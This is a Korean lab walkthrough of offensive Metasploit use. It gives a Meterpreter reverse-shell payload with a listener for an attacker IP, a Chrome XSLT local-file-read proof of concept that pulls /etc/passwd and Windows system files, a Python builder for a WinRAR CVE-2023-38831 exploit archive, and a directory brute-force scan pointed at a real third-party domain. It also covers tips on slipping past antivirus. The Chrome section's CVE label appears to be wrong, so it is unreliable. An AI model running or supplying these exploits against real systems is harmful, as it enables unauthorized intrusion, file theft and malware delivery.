실습 목표 개요
본 실습은 Metasploit Framework(MSF)의 기본 사용법을 익히고, 세 가지 주요 공격 유형 — 능동적 공격, 브라우저 기반 공격, 클라이언트 소프트웨어 공격 — 의 원리를 이해하는 것을 목표로 한다. 또한 보조 모듈 활용 능력을 검증하며, 각 단계에서 최신 알려진 취약점을 반영한 실습을 수행한다.
1. 능동적 공격 실습 (최신 취약점 기반)
먼저, MSF를 이용해 리버스 쉘 페이로드를 생성하고, 대상 시스템에 전달하여 제어권을 확보하는 과정을 진행한다. 다음 절차를 따른다:
msfvenom을 사용하여 Windows용 바이너리 페이로드 생성:- Socat 또는 Python HTTP 서버를 통해
shell.exe를 윈도우즈 머신으로 전송. - 윈도우즈 방화벽 및 백신(화용 등)에서 신뢰 영역으로 파일 등록 후 실행.
- Ubuntu 측에서
msfconsole구동 후 리스너 설정: - 성공 시 Meterpreter 세션이 열리며 원격 시스템에 접근 가능.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[공격자IP] LPORT=4444 -f exe > shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [공격자IP]
set LPORT 4444
exploit
2. 브라우저 기반 공격: Chrome XXE 취약점 재현 (CVE-2023-2033)
Google Chrome 116.0.5845.96 이전 버전에서 발생하는 XML External Entity(XEE) 취약점을 이용한 파일 읽기 공격이다. XSLT 처리 시 document() 함수가 로컬 파일을 불러올 수 있는 문제를 악용한다.
공격 준비
2.svg 파일 작성:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="800" height="600">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>XSL 버전: <xsl:value-of select="system-property('xsl:version')"/></p>
<p>시스템 정보:</p>
<xsl:copy-of select="document('3.xsl')"/>
</div>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
3.xsl 파일 작성 (실제 외부 엔티티 포함):
<?xml version="1.0" ?> <!DOCTYPE div [ <!ENTITY hosts SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> <!ENTITY passwd SYSTEM "file:///etc/passwd"> <!ENTITY sysini SYSTEM "file:///C:/Windows/system.ini"> ]> <div> <p>Hosts: &hosts;</p> <p>Passwd: &passwd;</p> <p>System.ini: &sysini;</p> </div>
실행
Python 내장 서버로 호스팅:
python -m http.server 1234
브라우저에서 http://localhost:1234/2.svg 접속 시, SVG가 XSLT를 해석하면서 지정된 로컬 파일들이 함께 출력된다.
3. 클라이언트 공격: WinRAR 원격 코드 실행 취약점 (CVE-2023-38831)
WinRAR 6.23 미만 버전에서 ZIP 아카이브 내 파일 이름 조작을 통해 자동 스크립트 실행을 유도하는 취약점이다. 폴더와 파일의 이름 충돌을 이용해 cmd 스크립트를 트리거한다.
공격 파일 생성 절차
- 유인용 텍스트 파일 생성:
- 같은 이름의 디렉터리 생성:
- 디렉터리 내에 실행 스크립트 배치 (
bait.txt.bat): - 두 항목을 하나의 RAR 압축 파일로 묶음.
echo This is a normal file > bait.txt
mkdir bait.txt
echo calc.exe > bait.txt\bait.txt.bat
자동화 파이썬 스크립트
아래 스크립트는 위 과정을 자동으로 수행하며, ZIP 형식으로 저장 후 확장자를 RAR로 변경해 공격 파일을 생성한다.
import os
import shutil
import zipfile
def create_exploit(bait_file="bait.txt", script_name="payload.bat", output="exploit.rar"):
# 임시 디렉터리 생성
temp_dir = "malzip"
if os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
os.makedirs(temp_dir)
# 더미 파일 복사
with open(bait_file, 'w') as f:
f.write("Innocent text file")
shutil.copy(bait_file, os.path.join(temp_dir, bait_file + "B"))
# 폴더 및 스크립트 생성
folder_path = os.path.join(temp_dir, bait_file + "A")
os.makedirs(folder_path)
with open(os.path.join(folder_path, bait_file + "A.bat"), 'w') as f:
f.write("@echo off\nstart calc.exe")
# ZIP 생성
zip_path = temp_dir + ".zip"
shutil.make_archive(temp_dir, 'zip', temp_dir)
# ZIP 바이너리 수정: A/B → 공백으로 치환
with open(zip_path, 'rb') as f:
data = f.read()
ext = os.path.splitext(bait_file)[1].encode()
data = data.replace(ext + b"A", ext + b" ")
data = data.replace(ext + b"B", ext + b" ")
with open(output, 'wb') as f:
f.write(data)
print(f"[+] Exploit created: {output}")
if __name__ == "__main__":
create_exploit()
대상이 압축 파일을 열고 내부 파일을 더블클릭하면 calc.exe 실행됨.
4. 보조 모듈 활용: 디렉터리 브루트포스 스캐닝
Metasploit의 auxiliary 모듈을 사용해 웹 서버의 숨겨진 경로를 탐지한다.
msfconsole
use auxiliary/scanner/http/brute_dirs
set RHOSTS www.baidu.com
set THREADS 20
run
결과 예시:
http://www.baidu.com/p/http://www.baidu.com/v/http://www.baidu.com/bh/
이러한 경로는 추가적인 취약점 분석 대상이 될 수 있음.
핵심 개념 설명
Exploit (익스플로잇)
소프트웨어의 보안 결함을 이용해 예기치 않은 동작을 유도하는 기술적 수단이다. 예를 들어, 버퍼 오버플로우나 인증 우회와 같은 결함을 활용해 시스템 제어권을 확보한다.
Payload (페이로드)
익스플로잇 성공 후 대상 시스템에서 실행되는 코드 조각이다. 쉘 접속 확보, 데이터 수집, 백도어 설치 등을 수행하며, 메타스플로잇에서는 Meterpreter와 같은 고급 페이로드를 제공한다.
Encode (인코딩)
악성 페이로드를 탐지 회피를 위해 변형하는 과정이다. 인코더(예: shikata_ga_nai)를 사용해 바이너리 패턴을 변경함으로써 안티바이러스 소프트웨어의 탐지를 피할 수 있다.